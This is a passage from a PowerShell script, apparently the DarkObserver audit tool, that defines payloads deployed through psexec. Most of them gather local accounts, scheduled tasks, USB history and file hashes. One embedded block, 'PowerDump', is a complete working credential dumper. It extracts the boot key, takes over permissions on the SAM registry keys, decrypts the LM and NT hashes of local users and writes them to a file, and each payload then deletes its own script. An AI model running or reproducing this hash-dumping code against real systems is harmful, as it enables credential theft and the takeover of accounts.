$LocalAccountsCode_BAT = @' 4145 | @echo off 4146 | IF EXIST "C:\LocalAccounts392125281" DEL "C:\LocalAccounts392125281" 4147 | for /F "tokens=*" %%G in ('net users^|findstr /v /c:"User accounts" /c:"command completed" /c:"----"') do @For %%U in (%%G) DO ( 4148 | setlocal ENABLEDELAYEDEXPANSION 4149 | for /f "tokens=1-2*" %%C IN ('net user "%%U" ^|findstr /c:"Account active" /c:"Last logon"') DO ( 4150 | set /a var=!var!+1 4151 | if !var!==1 ( 4152 | set active=%%E 4153 | ) ELSE ( 4154 | IF %%E equ Never ( 4155 | set lastlogon= 4156 | ) ELSE (SET lastlogon=%%E) 4157 | echo %COMPUTERNAME%,%%U,!active!,!lastlogon! 4158 | ) 4159 | )2>nul 4160 | endlocal 4161 | ) >> "C:\LocalAccounts392125281" 4162 | (goto) 2>nul & del "%~f0" 4163 | '@ 4164 | $LocalAccountsCode_PS1=@' 4165 | if (Test-Path "C:\LocalAccounts392125281"){Remove-Item -Force "C:\LocalAccounts392125281"} 4166 | try { 4167 | $adsi = [ADSI]"WinNT://$env:COMPUTERNAME" 4168 | $Users = $adsi.Children | where {$_.SchemaClassName -eq 'user'} 4169 | $Users|%{ 4170 | $active = Net user $_.name|select-string "Account active" 4171 | if($active|Select-String "No"){$active="No"} 4172 | elseif($active|Select-String "Yes"){$active="Yes"} 4173 | try{ 4174 | $login=","+($_.LastLogin).Value 4175 | } catch { 4176 | $login=$null 4177 | } 4178 | $env:COMPUTERNAME+","+$_.Name+","+$active+$login 4179 | }|Out-file "C:\LocalAccounts392125281" 4180 | } catch { 4181 | Remove-Item -Force "C:\PSExecShellCode.ps1" 4182 | Remove-Item -Force "C:\LocalAccounts392125281" 4183 | exit 4184 | } 4185 | Remove-Item -Force "C:\PSExecShellCode.ps1" 4186 | '@ 4187 | $ScheduledTasksCode_BAT = @' 4188 | @echo off 4189 | IF EXIST "C:\ScheduledTasks392125281" DEL "C:\ScheduledTasks392125281" 4190 | wmic job list brief /format:csv 2>nul|findstr /v Node >> "C:\ScheduledTasks392125281" 4191 | (goto) 2>nul & del "%~f0" 4192 | '@ 4193 | $ScheduledTasksCode_PS1 = @' 4194 | if (Test-Path "C:\ScheduledTasks392125281"){Remove-Item -Force "C:\ScheduledTasks392125281"} 4195 | try{ 4196 | Get-WmiObject win32_scheduledjob | 4197 | foreach {$env:COMPUTERNAME+","+$_.command+","+$_.JobId+","+$_.Name+","+$_.Owner+","+$_.Priority}| 4198 | Out-file "C:\ScheduledTasks392125281" 4199 | } catch { 4200 | Remove-Item -Force "C:\PSExecShellCode.ps1" 4201 | Remove-Item -Force "C:\ScheduledTasks392125281" 4202 | exit 4203 | } 4204 | Remove-Item -Force "C:\PSExecShellCode.ps1" 4205 | '@ 4206 | $USB_EnumerationCode_BAT = @' 4207 | @echo off 4208 | IF EXIST "C:\USB_Enumeration392125281" DEL "C:\USB_Enumeration392125281" 4209 | setlocal enabledelayedexpansion 4210 | for /f %%A in ('reg query hklm\system\currentcontrolset\enum\usb') DO ( 4211 | for /f %%B IN ('reg query "%%A"') DO ( 4212 | for /f "tokens=1-2*" %%C IN ('reg query "%%B" /v FriendlyName') DO ( 4213 | set FriendlyName=%%E 4214 | IF "!FriendlyName!" NEQ "" set FriendlyName=!FriendlyName:,=! 4215 | )2>nul 4216 | for /f "tokens=1-2*" %%C IN ('reg query "%%B" /v DeviceDesc') DO ( 4217 | set DeviceDescr=%%E 4218 | IF "!DeviceDescr!" NEQ "" set DeviceDescr=!DeviceDescr:,=! 4219 | )2>nul 4220 | IF "%%B" NEQ "" ( 4221 | IF "!DeviceDescr!" NEQ "" ( 4222 | echo %COMPUTERNAME%,!DeviceDescr!,!FriendlyName!,%%B >> "C:\USB_Enumeration392125281" 4223 | ) ELSE ( 4224 | IF "!FriendlyName!" NEQ "" ( 4225 | echo %COMPUTERNAME%,!DeviceDescr!,!FriendlyName!,%%B >> "C:\USB_Enumeration392125281" 4226 | ) 4227 | ) 4228 | ) 4229 | )2>nul 4230 | )2>nul 4231 | for /f %%A in ('reg query hklm\system\currentcontrolset\enum\usbstor') DO ( 4232 | for /f %%B IN ('reg query "%%A"') DO ( 4233 | for /f "tokens=1-2*" %%C IN ('reg query "%%B" /v FriendlyName') DO ( 4234 | set FriendlyName=%%E 4235 | IF "!FriendlyName!" NEQ "" set FriendlyName=!FriendlyName:,=! 4236 | )2>nul 4237 | for /f "tokens=1-2*" %%C IN ('reg query "%%B" /v DeviceDesc') DO ( 4238 | set DeviceDescr=%%E 4239 | IF "!DeviceDescr!" NEQ "" set DeviceDescr=!DeviceDescr:,=! 4240 | )2>nul 4241 | IF "%%B" NEQ "" ( 4242 | IF "!DeviceDescr!" NEQ "" ( 4243 | echo %COMPUTERNAME%,!DeviceDescr!,!FriendlyName!,%%B >> "C:\USB_Enumeration392125281" 4244 | ) ELSE ( 4245 | IF "!FriendlyName!" NEQ "" ( 4246 | echo %COMPUTERNAME%,!DeviceDescr!,!FriendlyName!,%%B >> "C:\USB_Enumeration392125281" 4247 | ) 4248 | ) 4249 | ) 4250 | )2>nul 4251 | )2>nul 4252 | endlocal 4253 | (goto) 2>nul & del "%~f0" 4254 | '@ 4255 | $USB_EnumerationCode_PS1 = @' 4256 | if (Test-Path "C:\USB_Enumeration392125281"){Remove-Item -Force "C:\USB_Enumeration392125281"} 4257 | $keys=@() 4258 | reg query hklm\system | Select-String "control" | %{ 4259 | reg query "$_\enum\usb"|where{$_}|%{ 4260 | $keys += reg query $_ |where{$_} 4261 | } 4262 | reg query "$_\enum\usbstor"|where{$_}|%{ 4263 | $keys += reg query $_ |where{$_} 4264 | } 4265 | } 4266 | $keys|%{ 4267 | $key = $_ -replace "HKEY_LOCAL_MACHINE", "HKLM:" 4268 | if ((Get-Item -Path "$key").property|Select-String DeviceDesc) 4269 | { 4270 | $DevDesc = (Get-ItemProperty -Path "$key" -Name DeviceDesc).DeviceDesc 4271 | } 4272 | else {$DevDesc = ""} 4273 | if ((Get-Item -Path "$key").property|Select-String FriendlyName) 4274 | { 4275 | $FriendlyName = (Get-ItemProperty -Path "$key" -Name FriendlyName).FriendlyName 4276 | } 4277 | else {$FriendlyName = ""} 4278 | if ($DevDesc|select-String ";"){$DevDesc = (Get-ItemProperty -Path "$key" -Name DeviceDesc).DeviceDesc.split(";")[1]} 4279 | if ($FriendlyName|select-String ";"){$FriendlyName = (Get-ItemProperty -Path "$key" -Name FriendlyName).FriendlyName.split(";")[1]} 4280 | if($DevDesc -or $FriendlyName) 4281 | { 4282 | $env:COMPUTERNAME+","+$DevDesc+","+$FriendlyName+","+$_ | Add-Content "C:\USB_Enumeration392125281" 4283 | } 4284 | } 4285 | Remove-Item -Force "C:\PSExecShellCode.ps1" 4286 | '@ 4287 | 4288 | $FileHasher = @' 4289 | function GetHash($file){ 4290 | $fs = new-object System.IO.FileStream $file, “Open”, “Read”, “Read” 4291 | $algo = [type]"System.Security.Cryptography.MD5" 4292 | $crypto = $algo::Create() 4293 | $hash = [BitConverter]::ToString($crypto.ComputeHash($fs)).Replace("-", "") 4294 | #$hash = $crypto.ComputeHash($fs) 4295 | $fs.Close() 4296 | $hash 4297 | } 4298 | 4299 | Get-ChildItem -path "C:\" -Include "*.exe", "*.dll", "*.sys" -Recurse -Force -ErrorAction SilentlyContinue| 4300 | ? { $_.FullName -notmatch 'Application Data' }| %{ 4301 | $env:COMPUTERNAME+","+$_.Name+","+$_.DirectoryName+","+(GetHash $_.FullName)|Add-Content "C:\hashes392125281" 4302 | } 4303 | Remove-Item -Force "C:\PSExecShellCode.ps1" 4304 | '@ 4305 | 4306 | [ScriptBlock] $PowerDump = { 4307 | function Get-PassHashes { 4308 | <# 4309 | http://www.labofapenetrationtester.com/2013/05/poshing-hashes-part-2.html?showComment=1386725874167#c8513980725823764060 4310 | https://github.com/samratashok/nishang 4311 | #> 4312 | [CmdletBinding()] 4313 | Param () 4314 | 4315 | #######################################powerdump written by David Kennedy######################################### 4316 | function LoadApi 4317 | { 4318 | $oldErrorAction = $global:ErrorActionPreference; 4319 | $global:ErrorActionPreference = "SilentlyContinue"; 4320 | $test = [PowerDump.Native]; 4321 | $global:ErrorActionPreference = $oldErrorAction; 4322 | if ($test) 4323 | { 4324 | # already loaded 4325 | return; 4326 | } 4327 | 4328 | $code = @' 4329 | using System; 4330 | using System.Security.Cryptography; 4331 | using System.Runtime.InteropServices; 4332 | using System.Text; 4333 | 4334 | namespace PowerDump 4335 | { 4336 | public class Native 4337 | { 4338 | [DllImport("advapi32.dll", CharSet = CharSet.Auto)] 4339 | public static extern int RegOpenKeyEx( 4340 | int hKey, 4341 | string subKey, 4342 | int ulOptions, 4343 | int samDesired, 4344 | out int hkResult); 4345 | 4346 | [DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")] 4347 | extern public static int RegEnumKeyEx( 4348 | int hkey, 4349 | int index, 4350 | StringBuilder lpName, 4351 | ref int lpcbName, 4352 | int reserved, 4353 | StringBuilder lpClass, 4354 | ref int lpcbClass, 4355 | out long lpftLastWriteTime); 4356 | 4357 | [DllImport("advapi32.dll", EntryPoint="RegQueryInfoKey", CallingConvention=CallingConvention.Winapi, SetLastError=true)] 4358 | extern public static int RegQueryInfoKey( 4359 | int hkey, 4360 | StringBuilder lpClass, 4361 | ref int lpcbClass, 4362 | int lpReserved, 4363 | out int lpcSubKeys, 4364 | out int lpcbMaxSubKeyLen, 4365 | out int lpcbMaxClassLen, 4366 | out int lpcValues, 4367 | out int lpcbMaxValueNameLen, 4368 | out int lpcbMaxValueLen, 4369 | out int lpcbSecurityDescriptor, 4370 | IntPtr lpftLastWriteTime); 4371 | 4372 | [DllImport("advapi32.dll", SetLastError=true)] 4373 | public static extern int RegCloseKey( 4374 | int hKey); 4375 | 4376 | } 4377 | } // end namespace PowerDump 4378 | 4379 | public class Shift { 4380 | public static int Right(int x, int count) { return x >> count; } 4381 | public static uint Right(uint x, int count) { return x >> count; } 4382 | public static long Right(long x, int count) { return x >> count; } 4383 | public static ulong Right(ulong x, int count) { return x >> count; } 4384 | public static int Left(int x, int count) { return x << count; } 4385 | public static uint Left(uint x, int count) { return x << count; } 4386 | public static long Left(long x, int count) { return x << count; } 4387 | public static ulong Left(ulong x, int count) { return x << count; } 4388 | } 4389 | '@ 4390 | 4391 | $provider = New-Object Microsoft.CSharp.CSharpCodeProvider 4392 | $dllName = [PsObject].Assembly.Location 4393 | $compilerParameters = New-Object System.CodeDom.Compiler.CompilerParameters 4394 | $assemblies = @("System.dll", $dllName) 4395 | $compilerParameters.ReferencedAssemblies.AddRange($assemblies) 4396 | $compilerParameters.GenerateInMemory = $true 4397 | $compilerResults = $provider.CompileAssemblyFromSource($compilerParameters, $code) 4398 | if($compilerResults.Errors.Count -gt 0) { 4399 | $compilerResults.Errors | % { Write-Error ("{0}:`t{1}" -f $_.Line,$_.ErrorText) } 4400 | } 4401 | 4402 | } 4403 | 4404 | $antpassword = [Text.Encoding]::ASCII.GetBytes("NTPASSWORD`0"); 4405 | $almpassword = [Text.Encoding]::ASCII.GetBytes("LMPASSWORD`0"); 4406 | $empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee); 4407 | $empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0); 4408 | $odd_parity = @( 4409 | 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, 4410 | 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, 4411 | 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, 4412 | 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, 4413 | 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, 4414 | 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, 4415 | 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, 4416 | 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, 4417 | 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, 4418 | 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, 4419 | 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, 4420 | 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, 4421 | 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, 4422 | 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, 4423 | 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, 4424 | 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 4425 | ); 4426 | 4427 | function sid_to_key($sid) 4428 | { 4429 | $s1 = @(); 4430 | $s1 += [char]($sid -band 0xFF); 4431 | $s1 += [char]([Shift]::Right($sid,8) -band 0xFF); 4432 | $s1 += [char]([Shift]::Right($sid,16) -band 0xFF); 4433 | $s1 += [char]([Shift]::Right($sid,24) -band 0xFF); 4434 | $s1 += $s1[0]; 4435 | $s1 += $s1[1]; 4436 | $s1 += $s1[2]; 4437 | $s2 = @(); 4438 | $s2 += $s1[3]; $s2 += $s1[0]; $s2 += $s1[1]; $s2 += $s1[2]; 4439 | $s2 += $s2[0]; $s2 += $s2[1]; $s2 += $s2[2]; 4440 | return ,((str_to_key $s1),(str_to_key $s2)); 4441 | } 4442 | 4443 | function str_to_key($s) 4444 | { 4445 | $key = @(); 4446 | $key += [Shift]::Right([int]($s[0]), 1 ); 4447 | $key += [Shift]::Left( $([int]($s[0]) -band 0x01), 6) -bor [Shift]::Right([int]($s[1]),2); 4448 | $key += [Shift]::Left( $([int]($s[1]) -band 0x03), 5) -bor [Shift]::Right([int]($s[2]),3); 4449 | $key += [Shift]::Left( $([int]($s[2]) -band 0x07), 4) -bor [Shift]::Right([int]($s[3]),4); 4450 | $key += [Shift]::Left( $([int]($s[3]) -band 0x0F), 3) -bor [Shift]::Right([int]($s[4]),5); 4451 | $key += [Shift]::Left( $([int]($s[4]) -band 0x1F), 2) -bor [Shift]::Right([int]($s[5]),6); 4452 | $key += [Shift]::Left( $([int]($s[5]) -band 0x3F), 1) -bor [Shift]::Right([int]($s[6]),7); 4453 | $key += $([int]($s[6]) -band 0x7F); 4454 | 0..7 | %{ 4455 | $key[$_] = [Shift]::Left($key[$_], 1); 4456 | $key[$_] = $odd_parity[$key[$_]]; 4457 | } 4458 | return ,$key; 4459 | } 4460 | 4461 | function NewRC4([byte[]]$key) 4462 | { 4463 | return new-object Object | 4464 | Add-Member NoteProperty key $key -PassThru | 4465 | Add-Member NoteProperty S $null -PassThru | 4466 | Add-Member ScriptMethod init { 4467 | if (-not $this.S) 4468 | { 4469 | [byte[]]$this.S = 0..255; 4470 | 0..255 | % -begin{[long]$j=0;}{ 4471 | $j = ($j + $this.key[$($_ % $this.key.Length)] + $this.S[$_]) % $this.S.Length; 4472 | $temp = $this.S[$_]; $this.S[$_] = $this.S[$j]; $this.S[$j] = $temp; 4473 | } 4474 | } 4475 | } -PassThru | 4476 | Add-Member ScriptMethod "encrypt" { 4477 | $data = $args[0]; 4478 | $this.init(); 4479 | $outbuf = new-object byte[] $($data.Length); 4480 | $S2 = $this.S[0..$this.S.Length]; 4481 | 0..$($data.Length-1) | % -begin{$i=0;$j=0;} { 4482 | $i = ($i+1) % $S2.Length; 4483 | $j = ($j + $S2[$i]) % $S2.Length; 4484 | $temp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $temp; 4485 | $a = $data[$_]; 4486 | $b = $S2[ $($S2[$i]+$S2[$j]) % $S2.Length ]; 4487 | $outbuf[$_] = ($a -bxor $b); 4488 | } 4489 | return ,$outbuf; 4490 | } -PassThru 4491 | } 4492 | 4493 | function des_encrypt([byte[]]$data, [byte[]]$key) 4494 | { 4495 | return ,(des_transform $data $key $true) 4496 | } 4497 | 4498 | function des_decrypt([byte[]]$data, [byte[]]$key) 4499 | { 4500 | return ,(des_transform $data $key $false) 4501 | } 4502 | 4503 | function des_transform([byte[]]$data, [byte[]]$key, $doEncrypt) 4504 | { 4505 | $des = new-object Security.Cryptography.DESCryptoServiceProvider; 4506 | $des.Mode = [Security.Cryptography.CipherMode]::ECB; 4507 | $des.Padding = [Security.Cryptography.PaddingMode]::None; 4508 | $des.Key = $key; 4509 | $des.IV = $key; 4510 | $transform = $null; 4511 | if ($doEncrypt) {$transform = $des.CreateEncryptor();} 4512 | else{$transform = $des.CreateDecryptor();} 4513 | $result = $transform.TransformFinalBlock($data, 0, $data.Length); 4514 | return ,$result; 4515 | } 4516 | 4517 | function Get-RegKeyClass([string]$key, [string]$subkey) 4518 | { 4519 | switch ($Key) { 4520 | "HKCR" { $nKey = 0x80000000} #HK Classes Root 4521 | "HKCU" { $nKey = 0x80000001} #HK Current User 4522 | "HKLM" { $nKey = 0x80000002} #HK Local Machine 4523 | "HKU" { $nKey = 0x80000003} #HK Users 4524 | "HKCC" { $nKey = 0x80000005} #HK Current Config 4525 | default { 4526 | throw "Invalid Key. Use one of the following options HKCR, HKCU, HKLM, HKU, HKCC" 4527 | } 4528 | } 4529 | $KEYQUERYVALUE = 0x1; 4530 | $KEYREAD = 0x19; 4531 | $KEYALLACCESS = 0x3F; 4532 | $result = ""; 4533 | [int]$hkey=0 4534 | if (-not [PowerDump.Native]::RegOpenKeyEx($nkey,$subkey,0,$KEYREAD,[ref]$hkey)) 4535 | { 4536 | $classVal = New-Object Text.Stringbuilder 1024 4537 | [int]$len = 1024 4538 | if (-not [PowerDump.Native]::RegQueryInfoKey($hkey,$classVal,[ref]$len,0,[ref]$null,[ref]$null, 4539 | [ref]$null,[ref]$null,[ref]$null,[ref]$null,[ref]$null,0)) 4540 | { 4541 | $result = $classVal.ToString() 4542 | } 4543 | 4544 | [PowerDump.Native]::RegCloseKey($hkey) | Out-Null 4545 | } 4546 | 4547 | return $result; 4548 | } 4549 | 4550 | function Get-BootKey 4551 | { 4552 | $s = [string]::Join("",$("JD","Skew1","GBG","Data" | %{Get-RegKeyClass "HKLM" "SYSTEM\CurrentControlSet\Control\Lsa\$_"})); 4553 | $b = new-object byte[] $($s.Length/2); 4554 | 0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)} 4555 | $b2 = new-object byte[] 16; 4556 | 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 | % -begin{$i=0;}{$b2[$i]=$b[$_];$i++} 4557 | return ,$b2; 4558 | } 4559 | 4560 | function Get-HBootKey 4561 | { 4562 | param([byte[]]$bootkey); 4563 | $aqwerty = [Text.Encoding]::ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%`0"); 4564 | $anum = [Text.Encoding]::ASCII.GetBytes("0123456789012345678901234567890123456789`0"); 4565 | $k = Get-Item HKLM:\SAM\SAM\Domains\Account; 4566 | if (-not $k) {return $null} 4567 | [byte[]]$F = $k.GetValue("F"); 4568 | if (-not $F) {return $null} 4569 | $rc4key = [Security.Cryptography.MD5]::Create().ComputeHash($F[0x70..0x7F] + $aqwerty + $bootkey + $anum); 4570 | $rc4 = NewRC4 $rc4key; 4571 | return ,($rc4.encrypt($F[0x80..0x9F])); 4572 | } 4573 | 4574 | function Get-UserName([byte[]]$V) 4575 | { 4576 | if (-not $V) {return $null}; 4577 | $offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC; 4578 | $len = [BitConverter]::ToInt32($V[0x10..0x13],0); 4579 | return [Text.Encoding]::Unicode.GetString($V, $offset, $len); 4580 | } 4581 | 4582 | function Get-UserHashes($u, [byte[]]$hbootkey) 4583 | { 4584 | [byte[]]$enc_lm_hash = $null; [byte[]]$enc_nt_hash = $null; 4585 | 4586 | # check if hashes exist (if byte memory equals to 20, then we've got a hash) 4587 | $LM_exists = $false; 4588 | $NT_exists = $false; 4589 | # LM header check 4590 | if ($u.V[0xa0..0xa3] -eq 20) 4591 | { 4592 | $LM_exists = $true; 4593 | } 4594 | # NT header check 4595 | elseif ($u.V[0xac..0xaf] -eq 20) 4596 | { 4597 | $NT_exists = $true; 4598 | } 4599 | 4600 | if ($LM_exists -eq $true) 4601 | { 4602 | $lm_hash_offset = $u.HashOffset + 4; 4603 | $nt_hash_offset = $u.HashOffset + 8 + 0x10; 4604 | $enc_lm_hash = $u.V[$($lm_hash_offset)..$($lm_hash_offset+0x0f)]; 4605 | $enc_nt_hash = $u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)]; 4606 | } 4607 | 4608 | elseif ($NT_exists -eq $true) 4609 | { 4610 | $nt_hash_offset = $u.HashOffset + 8; 4611 | $enc_nt_hash = [byte[]]$u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)]; 4612 | } 4613 | return ,(DecryptHashes $u.Rid $enc_lm_hash $enc_nt_hash $hbootkey); 4614 | } 4615 | 4616 | function DecryptHashes($rid, [byte[]]$enc_lm_hash, [byte[]]$enc_nt_hash, [byte[]]$hbootkey) 4617 | { 4618 | [byte[]]$lmhash = $empty_lm; [byte[]]$nthash=$empty_nt; 4619 | # LM Hash 4620 | if ($enc_lm_hash) 4621 | { 4622 | $lmhash = DecryptSingleHash $rid $hbootkey $enc_lm_hash $almpassword; 4623 | } 4624 | 4625 | # NT Hash 4626 | if ($enc_nt_hash) 4627 | { 4628 | $nthash = DecryptSingleHash $rid $hbootkey $enc_nt_hash $antpassword; 4629 | } 4630 | 4631 | return ,($lmhash,$nthash) 4632 | } 4633 | 4634 | function DecryptSingleHash($rid,[byte[]]$hbootkey,[byte[]]$enc_hash,[byte[]]$lmntstr) 4635 | { 4636 | $deskeys = sid_to_key $rid; 4637 | $md5 = [Security.Cryptography.MD5]::Create(); 4638 | $rc4_key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($rid) + $lmntstr); 4639 | $rc4 = NewRC4 $rc4_key; 4640 | $obfkey = $rc4.encrypt($enc_hash); 4641 | $hash = (des_decrypt $obfkey[0..7] $deskeys[0]) + 4642 | (des_decrypt $obfkey[8..$($obfkey.Length - 1)] $deskeys[1]); 4643 | return ,$hash; 4644 | } 4645 | 4646 | function Get-UserKeys 4647 | { 4648 | ls HKLM:\SAM\SAM\Domains\Account\Users | 4649 | where {$_.PSChildName -match "^[0-9A-Fa-f]{8}$"} | 4650 | Add-Member AliasProperty KeyName PSChildName -PassThru | 4651 | Add-Member ScriptProperty Rid {[Convert]::ToInt32($this.PSChildName, 16)} -PassThru | 4652 | Add-Member ScriptProperty V {[byte[]]($this.GetValue("V"))} -PassThru | 4653 | Add-Member ScriptProperty UserName {Get-UserName($this.GetValue("V"))} -PassThru | 4654 | Add-Member ScriptProperty HashOffset {[BitConverter]::ToUInt32($this.GetValue("V")[0x9c..0x9f],0) + 0xCC} -PassThru 4655 | } 4656 | 4657 | function DumpHashes 4658 | { 4659 | LoadApi 4660 | $bootkey = Get-BootKey; 4661 | $hbootKey = Get-HBootKey $bootkey; 4662 | Get-UserKeys | %{ 4663 | $hashes = Get-UserHashes $_ $hBootKey; 4664 | "{0}:{1}:{2}:{3}" -f ($_.UserName,$_.Rid, 4665 | [BitConverter]::ToString($hashes[0]).Replace("-","").ToLower(), #LM hash 4666 | [BitConverter]::ToString($hashes[1]).Replace("-","").ToLower()); #NT hash 4667 | } 4668 | } 4669 | 4670 | #http://www.labofapenetrationtester.com/2013/05/poshing-hashes-part-2.html?showComment=1386725874167#c8513980725823764060 4671 | if (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) 4672 | { 4673 | Return 4674 | } 4675 | else 4676 | { 4677 | #Set permissions for the current user. 4678 | $rule = New-Object System.Security.AccessControl.RegistryAccessRule ( 4679 | [System.Security.Principal.WindowsIdentity]::GetCurrent().Name, 4680 | "FullControl", 4681 | [System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit", 4682 | [System.Security.AccessControl.PropagationFlags]"None", 4683 | [System.Security.AccessControl.AccessControlType]"Allow") 4684 | $key = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey( 4685 | "SAM\SAM\Domains", 4686 | [Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree, 4687 | [System.Security.AccessControl.RegistryRights]::ChangePermissions) 4688 | $acl = $key.GetAccessControl() 4689 | $acl.SetAccessRule($rule) 4690 | $key.SetAccessControl($acl) 4691 | 4692 | DumpHashes 4693 | 4694 | #Remove the permissions added above. 4695 | $user = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name 4696 | $acl.Access | where {$_.IdentityReference.Value -eq $user} | %{$acl.RemoveAccessRule($_)} | Out-Null 4697 | Set-Acl HKLM:\SAM\SAM\Domains $acl 4698 | } 4699 | } 4700 | 4701 | Get-PassHashes |%{ 4702 | $HashString = $_.replace(":", ",") 4703 | "$env:computername,$HashString" | Add-Content "C:\HashDump392125281" 4704 | } 4705 | Remove-Item -Force "C:\PSExecShellCode.ps1" 4706 | } 4707 | 4708 | ############################################ 4709 | #END Script Blocks for Deployable payloads 4710 | ############################################ 4711 | 4712 | #hash table to store variables used in scan and passed to script blocks 4713 | $scan = @{ 4714 | "TEMP_DIR"= $null 4715 | "OUT_DIR"= $null 4716 | "RemoteDataFile"= $null 4717 | "BATCode"= $null 4718 | "PS1Code"= $null 4719 | "Throttle"= $null 4720 | "Timeout" = $null 4721 | "Creds"= $null 4722 | "psexec"= $null 4723 | "mtx"= New-Object System.Threading.Mutex($false, "MyMutex") 4724 | "DomainName" = $null 4725 | "Data" = $null 4726 | } 4727 | 4728 | $today = (get-date).ToString("ddMMMyy") #used for creation of temp directory 4729 | $FirstRunComps = $true #Active computers have not been generated yet 4730 | $ScanChoiceArray = New-Object System.Collections.ArrayList #array to hold scan choices 4731 | $PSScriptRoot = Split-Path -Parent -Path $MyInvocation.MyCommand.Definition #location of script 4732 | $ConfigSuccess = $False #scan configuration has not been completed 4733 | $CleanUp = $False #set to true after deploy to delete any files left behind 4734 | 4735 | #Store current console colors to reset when script exits 4736 | $BackgroundColor = [console]::BackgroundColor 4737 | $ForegroundColor = [Console]::ForegroundColor 4738 | 4739 | ############################################ 4740 | #### END Initialize Variables #### 4741 | ############################################ 4742 | 4743 | 4744 | ############################################ 4745 | #### Begin Script Execution #### 4746 | ############################################ 4747 | 4748 | [console]::BackgroundColor = "Black" 4749 | [Console]::ForegroundColor = "White" 4750 | Clear-Host 4751 | Resize 4752 | CheckDependancies $PSScriptRoot 4753 | AsciiArt 4754 | SetKnownGood 4755 | 4756 | while($true) 4757 | { 4758 | DarkObserver 4759 | Release-Ref 4760 | $ScanChoiceArray.Clear() 4761 | if ((Test-Path variable:\TEMP_DIR) -and (Test-Path $TEMP_DIR -ErrorAction SilentlyContinue)){ 4762 | try { 4763 | Remove-Item -Recurse -Force "$TEMP_DIR" -ErrorAction Stop 4764 | } catch { 4765 | sleep 3 #wait and try once more to delete temp_dir 4766 | Remove-Item -Recurse -Force "$TEMP_DIR" 2>$null 4767 | } 4768 | } 4769 | } 4770 | 4771 | --------------------------------------------------------------------------------